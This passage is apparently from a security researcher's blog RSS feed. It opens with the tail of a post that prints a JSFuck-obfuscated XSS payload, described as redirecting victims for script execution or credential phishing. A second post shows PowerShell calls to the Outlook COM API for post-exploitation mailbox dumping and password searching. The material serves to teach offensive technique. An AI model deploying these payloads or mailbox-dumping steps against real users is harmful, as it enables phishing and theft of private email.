[(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]][([][[]]+[])[+!+[]]+(![]+[])[+!+[]]+((+[])[([][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]+[])[+!+[]+[+!+[]]]+(!![]+[])[!+[]+!+[]+!+[]]]](!+[]+!+[]+!+[]+[+!+[]])[+!+[]]+([][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+([][(!![]+[])[!+[]+!+[]+!+[]]+([][[]]+[])[+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[!+[]+!+[]+!+[]]]()+[])[!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]+(+(+!+[]+[+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+[!+[]+!+[]]+[+[]])+[])[+!+[]]+([][[]]+[])[+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(![]+[+[]])[([![]]+[][[]])[+!+[]+[+[]]]+(!![]+[])[+[]]+(![]+[])[+!+[]]+(![]+[])[!+[]+!+[]]+([![]]+[][[]])[+!+[]+[+[]]]+([][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(![]+[])[!+[]+!+[]+!+[]]]()[+!+[]+[+[]]]%3E
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;I ended up with payload that resulted in user redirection to my desired webpage where I could execute any JavaScript code I wanted or spoof the webpage to get credentials or other secrets via social engineering. Sometimes it is good to experiment with not so obvious techniques that once upon a time make themselves useful.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/static/img/posts/xss4.png&quot; alt=&quot;xss_4&quot; /&gt;&lt;/p&gt;

&lt;h1 id=&quot;references&quot;&gt;References:&lt;/h1&gt;
&lt;ol&gt;
  &lt;li&gt;http://www.jsfuck.com/&lt;/li&gt;
&lt;/ol&gt;

</description>
          <pubDate>Tue, 20 Apr 2021 14:00:00 +0000</pubDate>
          <link>https://www.brzozowski.io/web-applications/2021/04/20/actually-useful-xss-trick.html</link>
          <guid isPermaLink="true">https://www.brzozowski.io/web-applications/2021/04/20/actually-useful-xss-trick.html</guid>
          
          
          <category>web-applications</category>
          
        </item>
      
    
      
        <item>
          <title>Email exfiltration via native Outlook API</title>
          <description>&lt;p&gt;&lt;img src=&quot;/static/img/posts/outlook_logo.png&quot; alt=&quot;Outlook post logo&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Recently whole cybersecurity community was shocked by a newly disclosed Microsoft Exchange pre-auth vulnerability aka &lt;a href=&quot;https://proxylogon.com/&quot;&gt;Proxylogon&lt;/a&gt;. This security flaw when chained with another SSRF vulnerability allow unauthenticated RCE on almost any outdated Exchange server. This resulted in many companies compromised and malware using this exploit as an entry point to be observed in the wild.&lt;/p&gt;

&lt;h1 id=&quot;the-client-side&quot;&gt;The client side&lt;/h1&gt;

&lt;p&gt;However, not only server side of Microsoft’s email exchange software is known to have interesting functionalities that can be exploited. In corporate environments it is not uncommon to have Outlook client application installed on employees computers - with user permanently authenticated. In this scenario we can utilize Outlook’s very powerful API that can be used to interact with email client almost if You would be using a desktop application.&lt;/p&gt;

&lt;p&gt;In the first place we need to invoke the API by defining namespace using &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;GetNameSpace()&lt;/code&gt; method. With this we will be able to interact with messages in the mailbox as if they were typical objects.&lt;/p&gt;

&lt;figure class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;language-powershell&quot; data-lang=&quot;powershell&quot;&gt;&lt;span class=&quot;nv&quot;&gt;$outlook&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;n&quot;&gt;New-Object&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;nt&quot;&gt;-ComObject&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;outlook.application&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$olFolders&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;Microsoft.Office.Interop.Outlook.OlDefaultFolders&quot;&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-as&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;type&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$namespace&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$Outlook&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;GetNameSpace&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;MAPI&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/figure&gt;

&lt;p&gt;Next we can create an &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;$inbox&lt;/code&gt; variable where we will be able to access the default Outlook folder (which usually is just “Inbox”).&lt;/p&gt;

&lt;figure class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;language-powershell&quot; data-lang=&quot;powershell&quot;&gt;&lt;span class=&quot;nv&quot;&gt;$inbox&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$namespace&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;GetDefaultFolder&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$olFolders&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;::&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;olFolderInbox&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/figure&gt;

&lt;p&gt;With &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;$inbox.items&lt;/code&gt; we can access all the objects (emails) in the default folder. If we are curious with how much data we are messing with we can call the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;count&lt;/code&gt; method.&lt;/p&gt;

&lt;figure class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;language-powershell&quot; data-lang=&quot;powershell&quot;&gt;&lt;span class=&quot;nv&quot;&gt;$count&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$inbox&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;items&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;count&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/figure&gt;

&lt;h1 id=&quot;a-not-so-trivial-matter&quot;&gt;A not so trivial matter&lt;/h1&gt;

&lt;p&gt;The question is how this can pose a threat to a user? Normally mailbox is a juicy target for a cybercriminal as it can contain passwords and confidential data. In a scenario where a malicious user gets a remote powershell session with our machine (i.e. as a result of evil payload in document macro), he is able to access our emails via this API.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/static/img/posts/outlook_object.png&quot; alt=&quot;Outlook api access&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Usually this task is much easier and boils down to retrieving the OST (Offline Outlook Data File) database of our mailbox, which by default is unencrypted (!). However, if the user has Outlook client configured properly and has offline mode disabled or the file is locked by Outlook process it is impossible to read the contents of the file. But someone in Microsoft already thought of this danger and when You try to interact with the API the users on the remote machine will be suprised by the following alert message.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/static/img/posts/outlook_alert.png&quot; alt=&quot;Outlook alert popup&quot; /&gt;&lt;/p&gt;

&lt;p&gt;However the pop-up never mentions the possibility of someone stealing our data. It only instructs us to “Deny” and update our antivirus. Very often if an employee is surprised by such an alert he will click “Allow” thus leaving his mailbox wide open for us.&lt;/p&gt;

&lt;h1 id=&quot;get-outlookdump&quot;&gt;Get-OutlookDump&lt;/h1&gt;

&lt;p&gt;As a proof-of-concept for using Outlook API in the pillaging stage I created a &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Get-OutlookDump&lt;/code&gt; cmdlet that can be used to search mailbox content for passwords and other keywords. It can be also used to dump the whole inbox by piping its output to a file. Below You can find an example post-exploitation process with this tool.&lt;/p&gt;

&lt;p&gt;The script can be found on my &lt;a href=&quot;https://github.com/redfr0g/Get-OutlookDump&quot;&gt;Github&lt;/a&gt;.&lt;/p&gt;

&lt;script id=&quot;asciicast-XQs62XW8W8OAKog04LWirFmch&quot; src=&quot;https://asciinema.org/a/XQs62XW8W8OAKog04LWirFmch.js&quot; async=&quot;&quot;&gt;
&lt;/script&gt;

&lt;h1 id=&quot;references&quot;&gt;References:&lt;/h1&gt;
&lt;ol&gt;
  &lt;li&gt;https://docs.microsoft.com/en-us/archive/msdn-magazine/2013/march/powershell-managing-an-outlook-mailbox-with-powershell&lt;/li&gt;
  &lt;li&gt;https://github.com/MicrosoftDocs/windows-itpro-docs/issues/6172&lt;/li&gt;
  &lt;li&gt;https://support.microsoft.com/en-us/office/introduction-to-outlook-data-files-pst-and-ost-222eaf92-a995-45d9-bde2-f331f60e2790&lt;/li&gt;
  &lt;li&gt;https://github.com/redfr0g/Get-OutlookDump/&lt;/li&gt;
&lt;/ol&gt;

</description>
          <pubDate>Wed, 17 Mar 2021 10:00:00 +0000</pubDate>
          <link>https://www.brzozowski.io/post-exploitation/2021/03/17/email-exfiltration-via-native-outlook-api.html</link>
          <guid isPermaLink="true">https://www.brzozowski.io/post-exploitation/2021/03/17/email-exfiltration-via-native-outlook-api.html</guid>
          
          
          <category>post-exploitation</category>
          
        </item>
      
    
  </channel>
</rss>
